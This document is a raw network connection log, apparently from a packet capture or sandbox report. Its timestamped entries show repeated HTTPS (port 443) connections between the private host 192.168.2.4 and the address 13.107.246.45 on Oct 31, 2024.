Oct 31, 2024 11:28:02.712404966 CET	443	49787	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.713157892 CET	443	49785	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.713310957 CET	443	49785	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.713402987 CET	49785	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.713402987 CET	49785	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.713423967 CET	49785	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.713428020 CET	443	49785	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.715462923 CET	49791	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.715500116 CET	443	49791	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.715572119 CET	49791	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.715687990 CET	49791	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.715703011 CET	443	49791	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.716357946 CET	49792	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.716392040 CET	443	49792	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.716463089 CET	49792	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.716551065 CET	49792	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.716567993 CET	443	49792	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.729130030 CET	443	49788	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.729212999 CET	443	49788	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.729295969 CET	49788	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.729513884 CET	49788	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.729527950 CET	443	49788	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.729537964 CET	49788	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.729542971 CET	443	49788	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.732247114 CET	49793	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.732291937 CET	443	49793	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.732402086 CET	49793	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.732779980 CET	49793	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.732826948 CET	443	49793	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.740180969 CET	443	49789	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.740247965 CET	443	49789	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.740319967 CET	49789	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.740480900 CET	49789	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.740498066 CET	443	49789	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.740508080 CET	49789	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.740518093 CET	443	49789	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.743144989 CET	49794	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.743196011 CET	443	49794	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:02.743294001 CET	49794	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.743444920 CET	49794	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:02.743463039 CET	443	49794	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.444777966 CET	443	49792	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.445632935 CET	49792	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.445671082 CET	443	49792	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.446026087 CET	49792	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.446031094 CET	443	49792	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.458041906 CET	443	49790	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.458434105 CET	49790	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.458452940 CET	443	49790	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.458745003 CET	443	49791	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.458798885 CET	49790	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.458803892 CET	443	49790	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.459041119 CET	49791	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.459069014 CET	443	49791	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.459388018 CET	49791	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.459415913 CET	443	49791	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.476675987 CET	443	49794	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.476988077 CET	49794	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.477001905 CET	443	49794	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.477329969 CET	49794	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.477335930 CET	443	49794	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.572644949 CET	443	49792	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.572722912 CET	443	49792	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.572802067 CET	49792	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.573019981 CET	49792	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.573043108 CET	443	49792	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.573052883 CET	49792	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.573059082 CET	443	49792	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.576128960 CET	49795	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.576180935 CET	443	49795	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.576312065 CET	49795	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.576566935 CET	49795	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.576580048 CET	443	49795	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.588134050 CET	443	49791	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.588283062 CET	443	49791	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.588349104 CET	49791	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.588413000 CET	49791	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.588413000 CET	49791	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.588435888 CET	443	49791	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.588448048 CET	443	49791	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.588956118 CET	443	49790	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.589046955 CET	443	49790	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.589099884 CET	49790	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.589191914 CET	49790	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.589205980 CET	443	49790	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.589216948 CET	49790	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.589221954 CET	443	49790	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.591044903 CET	49796	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.591069937 CET	443	49796	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.591129065 CET	49797	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.591135979 CET	49796	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.591152906 CET	443	49797	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.591211081 CET	49797	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.591254950 CET	49796	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.591268063 CET	443	49796	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.591382980 CET	49797	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.591399908 CET	443	49797	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.609241009 CET	443	49794	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.609318972 CET	443	49794	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.609370947 CET	49794	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.609510899 CET	49794	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.609524965 CET	443	49794	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.609534025 CET	49794	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.609538078 CET	443	49794	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.620548010 CET	49798	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.620579004 CET	443	49798	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.620661020 CET	49798	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.620799065 CET	49798	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.620811939 CET	443	49798	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.846295118 CET	443	49793	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.848145008 CET	49793	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.848174095 CET	443	49793	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.848598957 CET	49793	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.848603964 CET	443	49793	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.978473902 CET	443	49793	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.978621006 CET	443	49793	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.978692055 CET	49793	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.978838921 CET	49793	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.978856087 CET	443	49793	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.978866100 CET	49793	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.978871107 CET	443	49793	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.981518030 CET	49799	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.981576920 CET	443	49799	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:03.981666088 CET	49799	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.981786966 CET	49799	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:03.981805086 CET	443	49799	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.308887005 CET	443	49795	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.309561968 CET	49795	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.309592962 CET	443	49795	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.310020924 CET	49795	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.310026884 CET	443	49795	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.326364994 CET	443	49796	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.326786995 CET	49796	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.326819897 CET	443	49796	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.327141047 CET	49796	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.327146053 CET	443	49796	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.340646029 CET	443	49797	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.340959072 CET	49797	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.340996027 CET	443	49797	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.341284990 CET	49797	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.341289997 CET	443	49797	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.349621058 CET	443	49798	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.349908113 CET	49798	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.349920988 CET	443	49798	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.350244999 CET	49798	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.350249052 CET	443	49798	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.694561958 CET	443	49796	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.694667101 CET	443	49796	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.694710970 CET	443	49795	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.694787979 CET	49796	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.694935083 CET	443	49797	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.694983006 CET	443	49797	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.695008993 CET	443	49795	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.695024014 CET	49796	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.695041895 CET	443	49796	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.695055962 CET	49796	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.695060968 CET	443	49796	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.695107937 CET	49797	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.695112944 CET	49795	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.695195913 CET	49795	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.695214987 CET	443	49795	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.695226908 CET	49795	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.695231915 CET	443	49795	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.695334911 CET	49797	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.695382118 CET	443	49797	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.695414066 CET	49797	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.695419073 CET	443	49797	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.698152065 CET	49800	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.698194027 CET	443	49800	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.698277950 CET	49800	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.698398113 CET	49800	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.698415041 CET	443	49800	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.698518038 CET	49801	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.698565006 CET	443	49801	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.698626041 CET	49801	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.698719025 CET	49801	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.698728085 CET	443	49801	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.698736906 CET	49802	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.698746920 CET	443	49802	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.698798895 CET	49802	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.698940992 CET	49802	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.698950052 CET	443	49802	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.935352087 CET	443	49798	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.935447931 CET	443	49798	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.935522079 CET	49798	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.935796022 CET	49798	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.935827971 CET	443	49798	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.935843945 CET	49798	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.935852051 CET	443	49798	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.938563108 CET	49803	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.938604116 CET	443	49803	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:04.938673973 CET	49803	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.938817978 CET	49803	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:04.938832998 CET	443	49803	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.064688921 CET	443	49799	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.065198898 CET	49799	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.065218925 CET	443	49799	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.065680027 CET	49799	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.065685987 CET	443	49799	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.194434881 CET	443	49799	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.194520950 CET	443	49799	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.194596052 CET	49799	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.194814920 CET	49799	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.194837093 CET	443	49799	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.194849014 CET	49799	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.194856882 CET	443	49799	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.198000908 CET	49804	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.198050022 CET	443	49804	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.198148966 CET	49804	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.198322058 CET	49804	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.198337078 CET	443	49804	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.651994944 CET	443	49801	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.652574062 CET	49801	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.652590990 CET	443	49801	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.653043032 CET	49801	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.653050900 CET	443	49801	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.668584108 CET	443	49803	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.669064999 CET	49803	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.669075012 CET	443	49803	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.669442892 CET	49803	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.669447899 CET	443	49803	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.671792030 CET	443	49802	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.671844959 CET	443	49800	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.672101974 CET	49802	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.672123909 CET	443	49802	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.672454119 CET	49802	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.672460079 CET	443	49802	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.672641039 CET	49800	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.672648907 CET	443	49800	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.672971010 CET	49800	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.672975063 CET	443	49800	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.780894041 CET	443	49801	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.781074047 CET	443	49801	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.781173944 CET	49801	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.781280041 CET	49801	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.781299114 CET	443	49801	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.781311035 CET	49801	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.781318903 CET	443	49801	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.784439087 CET	49805	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.784472942 CET	443	49805	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.784559011 CET	49805	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.784707069 CET	49805	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.784718037 CET	443	49805	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.799340010 CET	443	49803	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.799406052 CET	443	49803	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.799460888 CET	49803	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.799623013 CET	49803	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.799632072 CET	443	49803	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.799645901 CET	49803	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.799650908 CET	443	49803	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.802354097 CET	49806	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.802413940 CET	443	49806	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.802489996 CET	49806	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.802633047 CET	49806	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.802650928 CET	443	49806	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.806849957 CET	443	49800	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.806973934 CET	443	49800	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.807048082 CET	49800	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.807084084 CET	49800	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.807084084 CET	49800	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.807101965 CET	443	49800	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.807111979 CET	443	49800	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.807811022 CET	443	49802	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.807892084 CET	443	49802	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.807956934 CET	49802	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.808024883 CET	49802	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.808031082 CET	443	49802	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.808039904 CET	49802	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.808046103 CET	443	49802	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.809633970 CET	49807	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.809655905 CET	443	49807	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.809746027 CET	49807	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.809847116 CET	49807	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.809859991 CET	443	49807	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.809902906 CET	49808	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.809928894 CET	443	49808	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.809998035 CET	49808	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.810117960 CET	49808	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.810134888 CET	443	49808	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.923245907 CET	443	49804	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.923855066 CET	49804	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.923896074 CET	443	49804	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:05.924293995 CET	49804	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:05.924299955 CET	443	49804	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.054848909 CET	443	49804	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.054929018 CET	443	49804	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.054979086 CET	49804	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.055238962 CET	49804	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.055263996 CET	443	49804	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.055274963 CET	49804	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.055280924 CET	443	49804	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.058667898 CET	49809	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.058722973 CET	443	49809	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.058790922 CET	49809	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.058938026 CET	49809	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.058955908 CET	443	49809	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.532072067 CET	443	49807	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.532855034 CET	49807	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.532872915 CET	443	49807	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.533363104 CET	49807	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.533370018 CET	443	49807	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.536184072 CET	443	49806	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.536562920 CET	49806	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.536597967 CET	443	49806	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.537250042 CET	49806	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.537256002 CET	443	49806	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.558765888 CET	443	49805	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.559282064 CET	49805	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.559290886 CET	443	49805	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.559638023 CET	49805	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.559644938 CET	443	49805	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.660631895 CET	443	49807	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.660814047 CET	443	49807	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.660969973 CET	49807	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.661149979 CET	49807	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.661166906 CET	443	49807	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.661211967 CET	49807	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.661217928 CET	443	49807	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.664002895 CET	49810	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.664046049 CET	443	49810	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.664124012 CET	49810	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.664253950 CET	49810	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.664263010 CET	443	49810	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.666316032 CET	443	49806	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.666486025 CET	443	49806	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.666544914 CET	49806	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.666589022 CET	49806	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.666589022 CET	49806	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.666613102 CET	443	49806	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.666618109 CET	443	49806	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.668936968 CET	49811	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.668983936 CET	443	49811	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.669132948 CET	49811	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.669195890 CET	49811	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.669203043 CET	443	49811	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.699661970 CET	443	49805	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.699846983 CET	443	49805	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.699918032 CET	49805	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.700087070 CET	49805	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.700087070 CET	49805	443	192.168.2.4	13.107.246.45
